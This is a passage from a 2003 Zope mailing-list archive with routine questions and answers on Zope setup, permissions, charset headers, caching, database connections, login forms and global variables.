password, it will print it on the console for you, just use it in the dialog box. im not sure of other affects this might have, but i have done it a few times without repercussion. You may have to move troublesome products from /Products or /lib/python/Products if you get compilation errors during ./install. What i do is, shut down zope, move troublesome products to my home directory, run ./install, move them back, start zope. --- "Slack, Stephen" wrote: > Hi Paul, > > I have set up 3 Suse 8.0 machines with Zope. One at my > office and 2 at home (Sad, I know). Two of them I managed > to connect straight to by setting up a new password with > the zpasswd.py script in /opt/zope/utilities on Suse. The > 3rd installation was a real bind. Nothing I did seemed to > cure it. My final solution was to download the latest > stable version of Zope, remove the original zope package > with yast and reinstall the downloaded version. > > The installation was dead easy. As part of the process, > Zope provides the admin user and passwd. Not an ideal > solution.....but it was driving me up the wall and there > did not seem to be many answers anywhere, just users with > the same question! > > One positive side to this is that I have a machine at > home running the most up-to-date version :-) Downside is > that I lost the ability to "rczope start". Not a big > problem as there is a start script in the Zope directory. > If I ever get round to it, I will copy the rczope script > from one of my other machines. > > Hope this helps. > > Stephen Slack > Senior System Developer > Allvac Ltd > > -----Original Message----- > From: paulporter@buffalotalks.com > [mailto:paulporter@buffalotalks.com] > Sent: 21 August 2003 14:51 > To: zope@zope.org > Subject: [Zope] Zope on SuSE 8.2 -- What initial user > name and password > do Iuse? > > > I've got Zope running but when I go to > localhost:8080/manage I get a > dialogbox wanting a user name and password. I didn't > know what it was > wanting so I created an "access" file using zpasswd.py > but apparently it > doesn't see this file because when I enter the user name > and password that > I put in the access file zope just regenerates the prompt > dialogbox. > > I have made sure that I enter username/password exactly > as found in the > access file, I've tried copying th access file into the > zope directory, > that had no positive effect so I copied it into the > zserver directory and > that had no positive effect either. > > Could some kind soul please tell me how to get into Zope? > > Thanks for any help that might be offered. > > Paul > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From anthony at interlink.com.au Wed Aug 27 14:59:58 2003 From: anthony at interlink.com.au (Anthony Baxter) Date: Wed Aug 27 09:54:43 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: Message-ID: <200308270359.h7R3xwiC021781@localhost.localdomain> >>> Dennis Allison wrote > That may be true for your configurations, but with the configuration I am > running (dual Athlons) I have had nothing but trouble. With the very > latest updates, Zope 2.6.2b3 now seems stable running under Python 2.2. I > am still fighting problems with the Pound front-end which is stable under > RH7.3 but non-functional under RH9. Incidentally, my installation was > clean followed by multiple upgrades via RHN to apply all the latest > updates. FWIW, pythodirector seems to work fine on RH9. Depending on what you're using Pound for, it may be appropriate. http://pythondirector.sf.net/ Anthony -- Anthony Baxter It's never too late to have a happy childhood. From terry at adroit.net Wed Aug 27 17:43:56 2003 From: terry at adroit.net (Terry Kerr) Date: Wed Aug 27 09:55:26 2003 Subject: [Zope] Zope2.7 and Python 2.3 Message-ID: <3F4C532C.90904@adroit.net> Hi, Python 2.3 has some new features which I really need, but zope doesn't support it yet. Just wondering if anybody has tried zope2.7 with python 2.3 and whether there are any obvious problems? terry From k_hamzat at yahoo.com Wed Aug 27 02:51:15 2003 From: k_hamzat at yahoo.com (Hamzat Kamal) Date: Wed Aug 27 09:56:03 2003 Subject: [Zope] Ref . the container id in a doc Message-ID: <20030827085116.80957.qmail@web12703.mail.yahoo.com> Hi, How do I reference the container id in the doc that it contained. For example if a folde foo contain a dtml doc, how do i refer to the folder name inside the dtml doc. thanks. Hamzat kamaldeen Ishola Dnet Systems Limited. 223 Ikorodu Road, Lagos. Nigeria. 234 1 7749381, 234 08033011305 --- If Mistake is an opportunity to see better, then do not fear it, but ready to admit it. NOTE: Sentimental decisions are not mistakes but failures !!!  --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030827/f6fc2691/attachment.htm From webmaster at expert-rh.com Wed Aug 27 13:17:33 2003 From: webmaster at expert-rh.com (Webmaster Expert RH) Date: Wed Aug 27 09:56:40 2003 Subject: [Zope] manage_clone problem, python script solution required please Message-ID: Hi zopers, Here is part of my script container.dest_folder.manage_clone(Item, Item.id) container.temp.manage_delObjects(Item.id) It works perfectly well for me when I'm logged in as manager, but my users get an error (prompted for password again) In the zope log I get : Module OFS.CopySupport, line 268, in manage_clone Module OFS.CopySupport, line 349, in _verifyObjectPaste Unauthorized: It seems (thank you Dieter) that this is a know bug In searching the archives I found a solution with external method. Unfortunately, my configuration doesn't allow me to use those easily. I must find a workaround in python_script only. Of course I have set the proxy role of the script to 'Manager' I even tried container.dest_folder.manage_pasteObjects(container.temp.manage_copyObjects( Item.id)) container.temp.manage_delObjects(Candidat.id) In the zope log I get : Module OFS.CopySupport, line 146, in manage_pasteObjects Module OFS.CopySupport, line 349, in _verifyObjectPaste Unauthorized: From andreas at andreas-jung.com Wed Aug 27 16:57:15 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Wed Aug 27 10:00:17 2003 Subject: [Zope] Zope2.7 and Python 2.3 In-Reply-To: <3F4C532C.90904@adroit.net> References: <3F4C532C.90904@adroit.net> Message-ID: <2147483647.1061999835@[10.19.223.17]> Python 2.3 is not supported and at least some unittests do not pass so it is not recommended. Use it at *your own* risk and maybe check the mailinglist archive since this question has been asked several times during the last weeks. -aj --On Mittwoch, 27. August 2003 16:43 Uhr +1000 Terry Kerr wrote: > Hi, > > Python 2.3 has some new features which I really need, but zope doesn't > support it yet. Just wondering if anybody has tried zope2.7 with python > 2.3 and whether there are any obvious problems? > > terry > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From chrism at zope.com Wed Aug 27 14:59:42 2003 From: chrism at zope.com (Chris McDonough) Date: Wed Aug 27 10:03:05 2003 Subject: [Zope] Zope2.7 and Python 2.3 In-Reply-To: <3F4C532C.90904@adroit.net> References: <3F4C532C.90904@adroit.net> Message-ID: <1061992746.1496.0.camel@james> It apparently works. I've tried it and I can view the management interface. ;-) More, I can't say. On Wed, 2003-08-27 at 02:43, Terry Kerr wrote: > Hi, > > Python 2.3 has some new features which I really need, but zope doesn't > support it yet. Just wondering if anybody has tried zope2.7 with python > 2.3 and whether there are any obvious problems? > > terry > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) -- Chris McDonough Zope Corporation From gilles at pilotsystems.net Wed Aug 27 19:01:45 2003 From: gilles at pilotsystems.net (Gilles Lenfant) Date: Wed Aug 27 11:48:15 2003 Subject: [Zope] Charset HTTP header switched to UTF-8. Bug or feature ? Message-ID: <161001c36cb4$8579f020$0301a8c0@provence> Hi, There's a strange thing in a iso-8859-1 (natural) charset site Zope 2.6.1 powered... A form is summitted (POST) to a TTW python script. At the end of the script, after form validation ... return context.sometemplate(param1=value1, ...) The "sometemplate" is published with this HTTP header : Content-Type: text/html;charset=UTF-8 When nowhere in my scripts/templates, I stated to use that charset. You can imagine the ugly things that are displayed :-/ I found a workaround: forcing the HTTP header of the response... REQUEST.RESPONSE.setHeader('Content-Type', 'text/html; charset=iso-8859-1') return context.sometemplate(param1=value1, ...) Is this behavior a bug or a feature ? Note that with older versions of Zope (2.3.3) I didn't need to force the charset header like this. Thanks in advance --Gilles From nicolas.laurance at wanadoo.fr Wed Aug 27 18:58:14 2003 From: nicolas.laurance at wanadoo.fr (Nicolas LAURANCE) Date: Wed Aug 27 12:58:53 2003 Subject: [Zope] manage_clone problem, python script solution required please Message-ID: Hi zopers, Here is part of my script container.dest_folder.manage_clone(Item, Item.id) container.temp.manage_delObjects(Item.id) It works perfectly well for me when I'm logged in as manager, but my users get an error (prompted for password again) In the zope log I get : Module OFS.CopySupport, line 268, in manage_clone Module OFS.CopySupport, line 349, in _verifyObjectPaste Unauthorized: It seems (thank you Dieter) that this is a know bug In searching the archives I found a solution with external method. Unfortunately, my configuration doesn't allow me to use those easily. I must find a workaround in python_script only. Of course I have set the proxy role of the script to 'Manager' I even tried container.dest_folder.manage_pasteObjects(container.temp.manage_copyObjects( Item.id)) container.temp.manage_delObjects(Candidat.id) In the zope log I get : Module OFS.CopySupport, line 146, in manage_pasteObjects Module OFS.CopySupport, line 349, in _verifyObjectPaste Unauthorized: From hancock at anansispaceworks.com Wed Aug 27 14:17:01 2003 From: hancock at anansispaceworks.com (Terry Hancock) Date: Wed Aug 27 14:13:47 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? In-Reply-To: <3F4CB638.3090301@upfrontsystems.co.za> References: <3F4CA9D7.3020705@nipltd.com> <3F4CB638.3090301@upfrontsystems.co.za> Message-ID: On Wednesday 27 August 2003 08:46 am, Jean Jordaan wrote: > >> Is 4 a magic number, or is that just a "for instance" 4 X? > > It's the default number of threads, look for NUMBER_OF_THREADS > in '/z2.py' Ah. Thank you. That is a very useful piece of information for testing. I assume it's possible to set that to 1 so that hangs will always hang the server on the first failure? That might be useful for testing (better repeatability). Cheers, Terry -- Terry Hancock ( hancock at anansispaceworks.com ) Anansi Spaceworks http://www.anansispaceworks.com From g.oogle at free.fr Wed Aug 27 12:23:15 2003 From: g.oogle at free.fr (=?ISO-8859-15?Q?G=E9rard_Oogle?=) Date: Wed Aug 27 14:23:51 2003 Subject: [Zope] [Newbie] Source configuration management with zope Message-ID: <3F4CF713.9090804@free.fr> Hi list, I recently discovered Zope, took the tutorial, read a couple of things, and I am now in the process of writing my first little app. So far there's something that is bugging me because I can't relate it to my previous habits. Ant it relates to the configuration management of what the developper I am produces. In my life before Zope: * I was developing in a sandbox composed of: o a "source sandbox" that was the mirror of a -cvs- repository o data sets for test purpose (files, database, ...) * There was a set of tools -compiler, sqlj, ...- that were able to give life to the "code" part of that sandbox by producing something that could be deployed * Sometimes there was another set of tools -ejbc, pl/sql script, ...- that were able to deploy the preceeding same artifacts into *different* environments The main ones beign o The QA environment o Real live production system * When we, developers, were 'creative'/'careless', we would release in supplement of the usual deployable artifacts 'migration scripts' You've probably recognized the regular Java/J2EE mantras. It is a little bit far now but I think I remember that things were not *that* different in Smalltalk: * I was developing in a sandbox composed of: o a "source sandbox" that was an image of an Envy repository o data sets for test purpose: it happened that our data were also stored in an Envy repository but it was an instance different from the one in which we were maintaining our code. * There was a set of tools -packager/configuration manager (my memories vanish)- that were allowing us to deploy the resulting same artifacts into *different* environments * I never had to write 'migration scripts' between 2 Envy repository If I mention Envy, it is because when I try to understand Zodb, I can't help making parallels between those 2 "stores". What puzzles me is that I confusely have the impression that: * when I am developing my little prototype, the code and the data it manipulates end up in the same Data.fs * I don't know where to code my second iteration of this prototype as soon as I will have shown it to business expert I working with and that he will start populating it with his data: o should I use Zope version management features and work on the *same* Data.fs than my business guy? o Does that mean that I cannot work locally on my machine and that I have to be connected to the server us 2 guys have access to? o if so, how can I tag each versions or better how can I package these versions to be able to deploy them in different Data.fs? To put it in a nutschell, I guess I am wondering how logic and data can be separated in Zope. I guess also that I am not the first dinosaur the zope community is welcoming. I would be grateful if someone could: * either shoot me a couple of links explaining how to do that * or help me refactor my views on the world (and I guess that a couple of links would do it also). Last thing, in that same frame of mind, since zope.org itself was recently upgraded, could somebody please detail us the various steps followed for that migration? Thanks in advance, -- G?rard From jimr at tyrell.com Wed Aug 27 12:48:04 2003 From: jimr at tyrell.com (Jim Roepcke) Date: Wed Aug 27 14:48:46 2003 Subject: [Zope] confusion in doc/INSTALL.txt Message-ID: The INSTALL.txt file should either make it clear that 'make install' is unnecessary if 'make instance' was used. The instructions for "Optional: Building and Installing Zope 'In-Place'" didn't spell that out for me, so I did: ./configure make instance make install I think either the 'In-Place' section of INSTALL.txt should say to skip the make install step, or the make install step should say to not do this if make instance was used. Thanks, Jim -- Jim Roepcke Tyrell Software Corp From simon at joyful.com Wed Aug 27 12:54:30 2003 From: simon at joyful.com (Simon Michael) Date: Wed Aug 27 14:55:04 2003 Subject: [Zope] Re: Python Syntax within DTML References: <000601c36b9c$3d1bfb20$7d10a8c0@bonline.com.au> Message-ID: <877k4zylqx.fsf@joyful.com> I think you mean the DateTime class. You can get one in DTML with or . Check eg http://zwiki.org/ZopeBookAppendixBAPIReference#DateTime From jccooper at jcameroncooper.com Wed Aug 27 15:14:23 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Wed Aug 27 15:14:32 2003 Subject: [Zope] Ref . the container id in a doc In-Reply-To: <20030827085116.80957.qmail@web12703.mail.yahoo.com> References: <20030827085116.80957.qmail@web12703.mail.yahoo.com> Message-ID: <3F4D030F.7050903@jcameroncooper.com> > > How do I reference the container id in the doc that it contained. > > For example if a folde foo contain a dtml doc, how do i refer to the > folder name inside the dtml doc. > Nothing that can't be explained in a single link: http://www.zopelabs.com/cookbook/1032052720 --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From jccooper at jcameroncooper.com Wed Aug 27 15:27:11 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Wed Aug 27 15:27:24 2003 Subject: [Zope] Updating files in the LocalFS? In-Reply-To: <1061990677.616.78.camel@jerry.westrick.local> References: <1061990677.616.78.camel@jerry.westrick.local> Message-ID: <3F4D060F.5020800@jcameroncooper.com> > > >Does anybody know how to update the file contents of a file stored in >the LocalFS package? > >I've tried reading the source, and thought I found a save() method, >but I get an Attribute error when I try using it on a file. > > You should be able to do a manage_upload on the container, just like adding a file, and it'll overwrite if one already exists. I'm pretty sure this is what the ZMI interface does. You should probably avoid using manage_overwrite directly. I don't see any public methods named or even containing 'save'. (Anything containing an underscore at front should be considered internal.) --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From dman at dman13.dyndns.org Wed Aug 27 16:33:42 2003 From: dman at dman13.dyndns.org (Derrick 'dman' Hudson) Date: Wed Aug 27 15:33:54 2003 Subject: [Zope] Re: Zope2.7 and Python 2.3 In-Reply-To: <3F4C532C.90904@adroit.net> References: <3F4C532C.90904@adroit.net> Message-ID: <20030827193342.GA32276@dman13.dyndns.org> On Wed, Aug 27, 2003 at 04:43:56PM +1000, Terry Kerr wrote: | Hi, | | Python 2.3 has some new features which I really need, but zope doesn't | support it yet. Just wondering if anybody has tried zope2.7 with python | 2.3 and whether there are any obvious problems? I've used it for a while with no problems. -D -- I can do all things through Christ who strengthens me. Philippians 4:13 http://dman13.dyndns.org/~dman/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030827/681d4286/attachment.bin From kamal at dnetsystems.net Wed Aug 27 21:12:32 2003 From: kamal at dnetsystems.net (Hamzat Kamal) Date: Wed Aug 27 15:39:10 2003 Subject: [Zope] how to ref property of an object. Message-ID: HI, I intend to display the title of an image as caption for the image when the image is dsplay. Can anybody assist me? Thanks. From rpenatez at lattice.com.co Wed Aug 27 15:00:45 2003 From: rpenatez at lattice.com.co (rpenatez@lattice.com.co) Date: Wed Aug 27 15:57:59 2003 Subject: [Zope] A login page Message-ID: <05256D8F.0067F710.00@bquilla.lattice.com.co> Hey Zopers!!! I'm a newbie in this excellent package and I need some help. I'm trying to do a simple login page (username and password text fields and a button) that enable or disable the navigation into a Zope project. This mean that if you didn't login you can't be able to surf the project. This sound easy to do but I can't do it :-( Is out there somebody who can help me??? I'll appreciate your suggestions. Thanks a lot. RicardoP From klowery at wts.edu Wed Aug 27 17:17:01 2003 From: klowery at wts.edu (Kirk Lowery) Date: Wed Aug 27 16:17:30 2003 Subject: [Zope] keeping a python object alive across pageviews Message-ID: <3F4D11BD.7090103@wts.edu> We are integrating a postgresql linguistic database (text+metadata) with Zope. The database uses a search engine (http://emdros.org) which has a data model optimized to this task. emdros is written in C++ and we used SWIG (http://www.swig.org) to create python bindings. We're using page templates and external methods that call the emdros library to (1) establish a database connection, (2) submit the query to postgresql, (3) display the results by calling a response template. And we have run into an implementation question: Whenever an external method is used to call the search engine, the search engine then makes a database connection. Zope database adapters cannot be used here, since it is emdros -- not Zope -- that is managing the database. When that external method completes, the connection is lost. The more frequently that method is used, the greater the performance hit because of the overhead of restablishing the connection. Zope database adapters could solve this problem, but that would mean reimplementing the entire search engine in python as a Zope product, which doesn't seem to be a practical solution. When the external method is called, it creates a python object which houses the C++ connection object. The problem is that this Python object -- and hence the connection -- dies when the external method returns. So the question becomes: How do we keep a python object alive within the Zope process across pageviews? How do we associate such a python object with a particular user session? Our strategy at this time is to call an external method which does not return until it receives some sort of signal; rather it "busy-waits," thereby keeping the emdros connection object alive. Our question: Do we understand the issues correctly? Are there any other alternatives for keeping that external Python object alive that we should consider? All comments or suggestions are appreciated. TIA! Kirk Lowery Ulrik Petersen -- Theorie ist, wenn man alles weiss und nichts klappt. Praxis ist, wenn alles klappt und keiner weiss warum. Bei uns sind Theorie und Praxis vereint: nichts klappt und keiner weiss warum! From allison at sumeru.stanford.EDU Wed Aug 27 14:20:27 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Wed Aug 27 16:20:47 2003 Subject: [Zope] A login page In-Reply-To: <05256D8F.0067F710.00@bquilla.lattice.com.co> Message-ID: You might take a look at the CookieCrumbler package that handles cookie based authentication and provides an easy interface to login via forms. On Wed, 27 Aug 2003 rpenatez@lattice.com.co wrote: > Hey Zopers!!! > I'm a newbie in this excellent package and I need some help. I'm trying to > do a simple login page (username and password text fields and a button) > that enable or disable the navigation into a Zope project. This mean that > if you didn't login you can't be able to surf the project. This sound easy > to do but I can't do it :-( > Is out there somebody who can help me??? > I'll appreciate your suggestions. Thanks a lot. > RicardoP > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From rpenatez at lattice.com.co Wed Aug 27 15:26:00 2003 From: rpenatez at lattice.com.co (rpenatez@lattice.com.co) Date: Wed Aug 27 16:23:20 2003 Subject: [Zope] Global Variable Message-ID: <05256D8F.006AA250.00@bquilla.lattice.com.co> Hello Zopers! I need to write a global variable into my Zope project but I don't know how to do it. HELP!!!! RicardoP From dieter at handshake.de Wed Aug 27 22:16:05 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 27 16:37:01 2003 Subject: [Zope] exUserFolder In-Reply-To: <200308261645.44923.garry@joydiv.fsnet.co.uk> References: <200308261645.44923.garry@joydiv.fsnet.co.uk> Message-ID: <16205.885.97430.399008@gargle.gargle.HOWL> garry saddington wrote at 2003-8-26 16:45 +0100: > I am trying to use the postgres auth method from exUserFolder with a plone > site but i get an error message in the plone interface. > > 'global name time not defined' > > Does anyone know what this error is caused by please? I do not. But I know, that the traceback (--> /error_log) would help you to find out... Dieter From dieter at handshake.de Wed Aug 27 22:36:31 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 27 16:37:56 2003 Subject: [Zope] Caching custom ZClasses In-Reply-To: <1061928803.3f4bbf63bdfba@webmail.barthubbard.com> References: <1061928803.3f4bbf63bdfba@webmail.barthubbard.com> Message-ID: <16205.2111.193780.785460@gargle.gargle.HOWL> Bart Hubbard wrote at 2003-8-26 15:13 -0500: > I've created a set of custom ZClasses, and can't associate them with a cache > manager. I see there isn't a baseclass available in the ZMI that corresponds to > the 'Cacheable' class in 'cache.py' in the OFS directory of Zope. I suppose I > could subclass another class that is cacheable, like DTML Document, but will > that just cache the DTML Document portions of my class? > > I just want my ZClass to be cacheable, so ideas are welcome. Cachable classes must implement the ZCachable protocol. This essentially means that they themselves must ask the cache manager, whether it already has something cached for them and if not, register the computed value with the cache manager. This is built in into many basic object classes. But, as you easily understand, it is impossible for ZClasses. You may build wrappers around your ZClass methods (!) implementing the ZCachable protocol. Dieter From dieter at handshake.de Wed Aug 27 22:05:53 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 27 16:38:40 2003 Subject: [Zope] Python Syntax within DTML In-Reply-To: <000601c36b9c$3d1bfb20$7d10a8c0@bonline.com.au> References: <000601c36b9c$3d1bfb20$7d10a8c0@bonline.com.au> Message-ID: <16205.273.960801.865055@gargle.gargle.HOWL> Support Faults wrote at 2003-8-26 14:35 +0800: > I'm having a little trouble correctly referencing python within a DTML method. > I'm attempting to set some values using the dateclass class. > > > > I'm just trying to get todays date in ordinal form, so that I can perform some manipulations upon it. > > Do I need to use request.set or am I on the wrong tangent? You did not tell us what happened, what went wrong... Please do that in the future when you report problems. Zope usually uses "DateTime.DateTime.DateTime" instance to represent dates and times. Looking at their documentation, they do not have a method "toordinal". "JulianDay" may be something similar. Chack the documentation! Guessing from your description, your "date" might be a Python 2.3 "date" instance. Almost surely, such classes do not have the necessary Zope security declarations and accessing them will probably raise an "Unauthorized" exception. If this does not help you, come back with more information. Do it straight away in the future! Dieter From dieter at handshake.de Wed Aug 27 22:14:54 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 27 16:39:22 2003 Subject: [Zope] ids NameError In-Reply-To: References: Message-ID: <16205.814.134332.220467@gargle.gargle.HOWL> grissom@qwickconnect.net wrote at 2003-8-26 07:00 -0700: > After looking through the list for the last hour I could > not find an answer to the following problem. > > I have a dtml form that itterates over the content of a > folder and displays a checkbox next to each of the files. > The form allows a user to select items to be deleted. If a > user does not select a check box I get the folloewing > error: > > Error Type: NameError > Error Value: global name 'ids' is not defined > > This only happens when a checkbox has not been selected. Add a to your form. Read section 2.6.3 of to learn why it works. Dieter From dieter at handshake.de Wed Aug 27 22:11:36 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 27 16:40:08 2003 Subject: [Zope] 'import' directory accesible from scripting. In-Reply-To: References: Message-ID: <16205.616.746257.954227@gargle.gargle.HOWL> Luis Lavena wrote at 2003-8-26 04:07 -0300: > ... > Q: Is there a way to handle the upload and import process by a product (to > be created) to bypass this security? Sure! Look at the implementation of the import functionality. It consists of two parts: locating the file and importing from this file. You can use the second part and solve the first part in any appropriate way. Almost surely, the "file" object do not need to be a real file, a file like object will probably sufficient. > or must relly on a limited FTP server > that only allow me upload information to the "import" directory? This has nothing to do with FTP. You can even use FTP (together with a "PUT_factory" (see Zope.org, for details)) to upload "zexp"s. Note, however, that this would be a security risk. Dieter From dieter at handshake.de Wed Aug 27 22:26:30 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 27 16:40:48 2003 Subject: [Zope] maintaining consistent security settings across cloned sites In-Reply-To: References: <20030826174813.GC1061@slinkp.com> Message-ID: <16205.1510.311372.224174@gargle.gargle.HOWL> Dennis Allison wrote at 2003-8-26 10:59 -0700: > Me too! We've seen problems with the security settings after syncs. I > suspect that the security settings transfer but the proxy settings > don't--but that's a guess based on anecdotal evidence. It definitely is wrong. Import/Export uses the same serializing mechanism as the ZODB itself (pickling). In all these cases, all attributes with the exception of those prefixed with "_p_" or "_v_" are pickled. Security settings (on instances) are implemented as instance attributes starting with "_" but not "_p_" or "_v_". The problem you (probably) observed must have had a different cause. Dieter From dieter at handshake.de Wed Aug 27 22:31:19 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 27 16:41:39 2003 Subject: [Zope] MemoryError: out of memory In-Reply-To: <8075D5C3061B9441944E137377645118012ED8@cinshrexc03.shermfin.com> References: <8075D5C3061B9441944E137377645118012ED8@cinshrexc03.shermfin.com> Message-ID: <16205.1799.458659.904978@gargle.gargle.HOWL> Rechenberg, Andrew wrote at 2003-8-26 16:36 -0400: > I am receiving this Exception when running Zope with CMF/Plone. Here > are the details of my system: > > Dell PE2650 > Dual 2.8GHz Xeon > 4GB RAM > ... > /Sherman/Categories/InternetLinks> > Module StringIO, line 160, in getvalue > MemoryError > > At the time of the exception the PythonService.exe was consuming 3984K > of RAM and python.exe was consuming 125960K. I've checked Google and > Zope.org for any related topics and have yet to find anything. Thus, Python/Zope is not to blame (it uses about 130 MB of 4 GB). I see 2 possible cases: * Another process on your machine eat all available memory and your Zope process failed to get memory and therefore raised this exception. * There are special limits in effect that restrict memory use for your Zope process to about 126 M. "ulimit" can be used to set and check such limits. Dieter From dieter at handshake.de Wed Aug 27 22:22:09 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 27 16:42:30 2003 Subject: [Zope] specializing folders In-Reply-To: References: Message-ID: <16205.1249.430953.437121@gargle.gargle.HOWL> Dennis Allison wrote at 2003-8-26 10:55 -0700: > I have a portion of a site which originally consisted of a single folder > with content. In the reorganized site, this folder consists of a > collection of folders. For specificity, the structure looks like > > +--A--+--A1 > | > +--A2 > | > +--A3 > | > > Depending upon a parameter derivable from the HTTP_HOST name, I want > either A1, A2, A3, or ... to behave as if it were A to all the other > code in the site. Of course, A1,A2,... should be able to hold code and/or > data. > > I would have though that some sort of local use of a VHM and or SiteAccess > would allow this, but I've been unable to make it work. Any suggestions? > hints? "SiteAccess" could easily handle HTTP requests. It would fail for attribute and "[un]restrictedTraverse" access. You will need deep magic to cheat for these cases. You could have a look at Shane's "Symlink" product (be carefull, it is dangerous, as it truely eliminates the distinction between linker and object) or at my "Reference" product. Both will need to be extended as they do not support variable destinations. But this part should be easy. Dieter From allison at sumeru.stanford.EDU Wed Aug 27 14:38:08 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Wed Aug 27 16:43:35 2003 Subject: [Zope] Global Variable In-Reply-To: <05256D8F.006AA250.00@bquilla.lattice.com.co> Message-ID: Global variable? Where? In what? My guess is that session variables may be what you want -- check out the Zope Book for details. On Wed, 27 Aug 2003 rpenatez@lattice.com.co wrote: > Hello Zopers! > I need to write a global variable into my Zope project but I don't know how > to do it. HELP!!!! > RicardoP > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From mitchy at spacemonkeylabs.com Wed Aug 27 17:41:24 2003 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Wed Aug 27 16:45:14 2003 Subject: [Zope] Global Variable In-Reply-To: <05256D8F.006AA250.00@bquilla.lattice.com.co> References: <05256D8F.006AA250.00@bquilla.lattice.com.co> Message-ID: <1062016884.4817.1.camel@sprocket> On Wed, 2003-08-27 at 15:26, rpenatez@lattice.com.co wrote: > Hello Zopers! > I need to write a global variable into my Zope project but I don't know how > to do it. HELP!!!! Ok, here is how I did it, whether it was a good idea or not is left as an exercise for the reader :^P Go to top level folder for website in ZMI, click Properties, and add the name and value for your global. You can then reference it from within the entire site (thanks to Zope's acquisition). Any other/better ways to do this? -- Mitch From allison at sumeru.stanford.EDU Wed Aug 27 15:03:28 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Wed Aug 27 17:03:46 2003 Subject: [Zope] maintaining consistent security settings across cloned sites In-Reply-To: <16205.1510.311372.224174@gargle.gargle.HOWL> Message-ID: Does this hold true for XMLRPC transfers as well? On Wed, 27 Aug 2003, Dieter Maurer wrote: > Dennis Allison wrote at 2003-8-26 10:59 -0700: > > Me too! We've seen problems with the security settings after syncs. I > > suspect that the security settings transfer but the proxy settings > > don't--but that's a guess based on anecdotal evidence. > > It definitely is wrong. > > Import/Export uses the same serializing mechanism as the ZODB > itself (pickling). > > In all these cases, all attributes with the exception > of those prefixed with "_p_" or "_v_" are pickled. > Security settings (on instances) are implemented as > instance attributes starting with "_" but not "_p_" or > "_v_". > > The problem you (probably) observed must have had a different cause. > > > Dieter > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From mitchy at spacemonkeylabs.com Wed Aug 27 18:06:45 2003 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Wed Aug 27 17:07:21 2003 Subject: [Zope] Global Variable In-Reply-To: <05256D8F.006DD99D.00@bquilla.lattice.com.co> References: <05256D8F.006DD99D.00@bquilla.lattice.com.co> Message-ID: <1062018405.4945.5.camel@sprocket> On Wed, 2003-08-27 at 16:00, rpenatez@lattice.com.co wrote: > How can I assign a value to one of this variables??? How can I recover the > variables values??? No problemo! Follow these steps: 1) create folder called "test" 2) select "test" folder 3) click on "Properties" tab 4) at the bottom of the Properties screen, create a variable: Name: tequila Value: mezcal 5) create a document in the test folder called "test" 6) the content of that document should look like this:

This is the Document.

My favorite tequila is .

